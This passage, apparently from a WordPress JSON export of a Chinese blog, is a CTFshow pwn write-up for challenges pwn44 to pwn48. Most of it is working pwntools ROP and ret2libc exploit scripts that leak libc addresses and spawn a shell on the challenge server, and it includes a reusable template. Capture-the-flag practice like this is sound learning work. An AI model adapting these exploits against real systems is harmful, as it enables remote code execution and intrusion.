class=\"wp-block-preformatted\">0x00602080<\/pre>\n\n\n\n<p>64\u4f4d\u7a0b\u5e8f<\/p>\n\n\n\n<p>\u6240\u4ee5\u9700\u8981\u5f97\u77e5ret\u548crdi\u7684\u4f4d\u7f6e<\/p>\n\n\n\n<p>ROPgadget\u6307\u4ee4<\/p>\n\n\n\n<p>\u62ff\u5230rdi\u4f4d\u7f6e<\/p>\n\n\n\n<p>0x00000000004007f3 : pop rdi ; ret<\/p>\n\n\n\n<p>\u62ff\u5230ret\u4f4d\u7f6e<\/p>\n\n\n\n<p>0x00000000004004fe : ret<\/p>\n\n\n\n<p>\u73b0\u5728\u5c31\u53ea\u9700\u8981\u627e\u5230system\u51fd\u6570\u5373\u53ef<\/p>\n\n\n\n<p>\u5728hint\u51fd\u6570\u4e2d\u62ff\u5230<\/p>\n\n\n\n<p>0x00400520<\/p>\n\n\n\n<p>\u96c6\u9f50\u6240\u6709\u8981\u7d20\uff0cexp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>u=remote(\"pwn.challenge.ctf.show\",28132)<br>pop_rdi=0x00000000004007f3<br>ret=0x00000000004004fe<br>system=0x00400520<br>gets=0x00400530<br>buf2=0x00602080<br>payload=b'a'*(0xA+8)+p64(pop_rdi)+p64(buf2)+p64(ret)+p64(gets)+p64(pop_rdi)+p64(buf2)+p64(ret)+p64(system)<br>u.sendline(payload)<br>u.sendline(\"\/bin\/sh\")<br>u.interactive()<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">pwn45<\/h2>\n\n\n\n<p>ctfshow\u7684\u7b2c\u4e00\u9053ret2libc<\/p>\n\n\n\n<p>\u501f\u7528\u590f\u5e08\u5085\u535a\u5ba2\u7684\u677f\u5b50\uff08\u518d\u4ece\u5176\u4ed6\u4f6c\u7684\u535a\u5ba2\u90a3\u8865\u4e86\u70b9\u6ce8\u91ca<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>from LibcSearcher import *<br>\u200b<br>io = remote('', )<br># io = process(\"\")<br>elf = ELF('')<br># libc= ELF('libc.so.6')<br># \u52a0\u8f7dELF\uff08\u53ef\u6267\u884c\u548c\u53ef\u94fe\u63a5\u683c\u5f0f\uff09\u4e8c\u8fdb\u5236\u6587\u4ef6\u5230elf\u5bf9\u8c61\u4e2d\uff0c\u4f7f\u6211\u4eec\u80fd\u591f\u8f7b\u677e\u8bbf\u95ee\u7b26\u53f7\u3001\u5730\u5740\u548c\u6bb5<br>main_add =<br>puts_got = elf.got&#91;'puts']<br>puts_plt = elf.plt&#91;'puts']<br>\u200b<br>print(\"Puts_got: \", hex(puts_got))<br>print(\"Puts_plt: \", hex(puts_plt))<br>\u200b<br>offset =<br>\u200b<br>payload1 = b'a' * (offset + 4) + p32(puts_plt) + p32(main_add) + p32(puts_got)<br>io.sendlineafter(b'', payload1)<br>puts_addr = u32(io.recvuntil(b'\\xf7')&#91;-4:]) &nbsp; &nbsp; <br># \u63a5\u6536\u6570\u636e\uff0c\u76f4\u5230\u9047\u5230\u5b57\u8282\\xf7\uff08\u572832\u4f4d\u7cfb\u7edf\u4e2d\uff0c\u5f88\u591a\u5171\u4eab\u5e93\uff08\u5982libc\uff09\u7684\u5730\u5740\u9ad8\u5b57\u8282\u662f\\xf7\uff09<br># \u53d6\u63a5\u6536\u5230\u7684\u6570\u636e\u7684\u6700\u540e 4 \u4e2a\u5b57\u8282\uff0c\u56e0\u4e3a puts \u51fd\u6570\u7684\u5730\u5740\u662f 32 \u4f4d\uff084 \u4e2a\u5b57\u8282\uff09<br># \u6cc4\u9732 puts \u51fd\u6570\u5728 GOT \u8868\u4e2d\u7684\u5b9e\u9645\u5730\u5740<br>print(\"Puts_addr: \", hex(puts_addr))<br>\u200b<br>libc = LibcSearcher('puts', puts_addr)<br>\u200b<br>libc_base = puts_addr - libc.dump('puts')<br>system_add = libc_base + libc.dump('system')<br>bin_sh_add = libc_base + libc.dump('str_bin_sh')<br>\u200b<br># libc_base = puts_addr - libc.symbols&#91;'puts']<br># system_add = libc_base + libc.symbols&#91;'system']<br># bin_sh_add = libc_base + next(libc.search(b'\/bin\/sh'))<br>\u200b<br>payload2 = b'a' * (offset + 4) + p32(system_add) + p32(0x0) + p32(bin_sh_add)<br># 0x0\u4f5c\u4e3a\u5360\u4f4d\u7b26\u586b\u5145\u8fd4\u56de\u5730\u5740\u7684\u540e\u7eed\u5b57\u8282\uff0c\u4ee5\u786e\u4fdd\u8fd4\u56de\u5730\u5740\u88ab\u6b63\u786e\u8986\u76d6<br>io.sendlineafter(b'', payload2)<br>\u200b<br>io.interactive()<\/code><\/pre>\n\n\n\n<p>\u586b\u5199\u677f\u5b50<\/p>\n\n\n\n<p>exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>from LibcSearcher import *<br>\u200b<br>io = remote('pwn.challenge.ctf.show',28269)<br># io = process(\"\")<br>elf = ELF('.\/pwn45')<br># libc= ELF('libc.so.6')<br>\u200b<br>main_add =0x0804866D<br>puts_got = elf.got&#91;'puts']<br>puts_plt = elf.plt&#91;'puts']<br>\u200b<br>print(\"Puts_got: \", hex(puts_got))<br>print(\"Puts_plt: \", hex(puts_plt))<br>\u200b<br>offset =0x6B<br>\u200b<br>payload1 = b'a' * (offset + 4) + p32(puts_plt) + p32(main_add) + p32(puts_got)<br>io.sendlineafter(b'O.o?', payload1)<br>puts_addr = u32(io.recvuntil(b'\\xf7')&#91;-4:])<br>print(\"Puts_addr: \", hex(puts_addr))<br>\u200b<br>libc = LibcSearcher('puts', puts_addr)<br>\u200b<br>libc_base = puts_addr - libc.dump('puts')<br>system_add = libc_base + libc.dump('system')<br>bin_sh_add = libc_base + libc.dump('str_bin_sh')<br>\u200b<br># libc_base = puts_addr - libc.symbols&#91;'puts']<br># system_add = libc_base + libc.symbols&#91;'system']<br># bin_sh_add = libc_base + next(libc.search(b'\/bin\/sh'))<br>\u200b<br>payload2 = b'a' * (offset + 4) + p32(system_add) + p32(0x0) + p32(bin_sh_add)<br>io.sendlineafter(b'', payload2)<br>\u200b<br>io.interactive()<\/code><\/pre>\n\n\n\n<p>\u62ff\u5230flag<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">pwn46<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>from LibcSearcher import *<br>\u200b<br>io = remote('pwn.challenge.ctf.show',28253)<br># io=process(\".\/pwn\")<br>elf = ELF('.\/pwn46')<br># libc= ELF(elf.libc.path)<br>\u200b<br>ret_add =0x00000000004004fe<br>pop_rdi =0x0000000000400803<br>main_add =0x000000000040073E<br>puts_got = elf.got&#91;'puts']<br>puts_plt = elf.plt&#91;'puts']<br>\u200b<br>print(\"Puts_got: \",hex(puts_got))<br>print(\"Puts_plt: \",hex(puts_plt))<br>\u200b<br>offset=0x70<br>\u200b<br>payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)<br>io.sendlineafter(b'O.o?', payload1)<br>puts_addr = u64(io.recvuntil(b'\\x7f')&#91;-6:].ljust(8,b'\\x00'))<br>print(\"Puts_addr: \",hex(puts_addr))<br>\u200b<br>libc = LibcSearcher('puts',puts_addr) &nbsp; # libc6_2.27-0ubuntu2_amd64<br>\u200b<br>libc_base = puts_addr - libc.dump('puts')<br>system_add = libc_base + libc.dump('system')<br>bin_sh_add = libc_base + libc.dump('str_bin_sh')<br>\u200b<br># libc_base = puts_addr - libc.symbols&#91;'puts']<br># system_add = libc_base + libc.symbols&#91;'system']<br># bin_sh_add = libc_base + next(libc.search(b'\/bin\/sh'))<br>\u200b<br>payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)<br>\u200b<br>io.sendlineafter(b'O.o?', payload2)<br>\u200b<br>io.interactive()<\/code><\/pre>\n\n\n\n<p>64\u4f4d\uff0c\u572832\u4f4d\u7684\u57fa\u7840\u4e0a\u8865rdi\u8865ret\u6539offset\u6539main\u51fd\u6570\u5730\u5740\u5c31\u597d\u4e86<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">pwn47<\/h2>\n\n\n\n<p>\u6839\u636e32\u4f4d\u7684\u677f\u5b50\u6539<\/p>\n\n\n\n<p>\u6539\u5b8c\u5373\u4e3a\u5b8c\u6574exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>from LibcSearcher import *<br>\u200b<br>io = remote('pwn.challenge.ctf.show',28169 )<br># io = process(\"\")<br>elf = ELF('.\/pwn47')<br># libc= ELF('libc.so.6')<br>\u200b<br>main_add =0x080486B9<br>puts_got = elf.got&#91;'puts']<br>puts_plt = elf.plt&#91;'puts']<br>\u200b<br>print(\"Puts_got: \", hex(puts_got))<br>print(\"Puts_plt: \", hex(puts_plt))<br>\u200b<br>offset =0x9C<br>\u200b<br>payload1 = b'a' * (offset + 4) + p32(puts_plt) + p32(main_add) + p32(puts_got)<br>io.sendlineafter(b'time:', payload1)<br>puts_addr = u32(io.recvuntil(b'\\xf7')&#91;-4:])<br>print(\"Puts_addr: \", hex(puts_addr))<br>\u200b<br>libc = LibcSearcher('puts', puts_addr)<br>\u200b<br>libc_base = puts_addr - libc.dump('puts')<br>system_add = libc_base + libc.dump('system')<br>bin_sh_add = libc_base + libc.dump('str_bin_sh')<br>\u200b<br># libc_base = puts_addr - libc.symbols&#91;'puts']<br># system_add = libc_base + libc.symbols&#91;'system']<br># bin_sh_add = libc_base + next(libc.search(b'\/bin\/sh'))<br>\u200b<br>payload2 = b'a' * (offset + 4) + p32(system_add) + p32(0) + p32(bin_sh_add)<br>io.sendlineafter(b'time:', payload2)<br>\u200b<br>io.interactive()<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">pwn48<\/h2>\n\n\n\n<p>\u540c\u683732\u4f4d\u586b\u677f\u5b50\uff0c\u586b\u5b8c\u5c31\u62ff\u5230flag<\/p>\n\n\n\n<p>exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>from LibcSearcher import *<br>\u200b<br>io = remote('pwn.challenge.ctf.show',28214 )<br># io = process(\"\")<br>elf = ELF('.\/pwn48')<br># libc= ELF('libc.so.6')<br>\u200b<br>main_add =0x0804863D<br>puts_got = elf.got&#91;'puts']<br>puts_plt = elf.plt&#91;'puts']<br>\u200b<br>print(\"Puts_got: \", hex(puts_got))<br>print(\"Puts_plt: \", hex(puts_plt))<br>\u200b<br>offset =0x6B<br>\u200b<br>payload1 = b'a' * (offset + 4) + p32(puts_plt) + p32(main_add) + p32(puts_got)<br>io.sendlineafter(b'O.o?', payload1)<br>puts_addr = u32(io.recvuntil(b'\\xf7')&#91;-4:])<br>print(\"Puts_addr: \", hex(puts_addr))<br>\u200b<br>libc = LibcSearcher('puts', puts_addr)<br>\u200b<br>libc_base = puts_addr - libc.dump('puts')<br>system_add = libc_base + libc.dump('system')<br>bin_sh_add = libc_base + libc.dump('str_bin_sh')<br>\u200b<br># libc_base = puts_addr - libc.symbols&#91;'puts']<br># system_add = libc_base + libc.symbols&#91;'system']<br># bin_sh_add = libc_base + next(libc.search(b'\/bin\/sh'))<br>\u200b<br>payload2 = b'a' * (offset + 4) + p32(system_add) + p32(0) + p32(bin_sh_add)<br>io.sendlineafter(b'O.o?', payload2)<br>\u200b<br>io.interactive()<\/code><\/pre>\n\n\n\n<h5 class=\"wp-block-heading\"><\/h5>\n","protected":false},"excerpt":{"rendered":"<p>PWN\u2014\u2014CTFshow pwn39 \u4e00\u4e2a32\u4f4d\u7a0b\u5e8f main\u51fd\u6570\u7684\u5185\u5bb9\u5982\u4e0b\uff1a Hint\u8868\u793asystem \u548c  [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-245","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/245","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=245"}],"version-history":[{"count":0,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/245\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=245"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=245"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=245"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}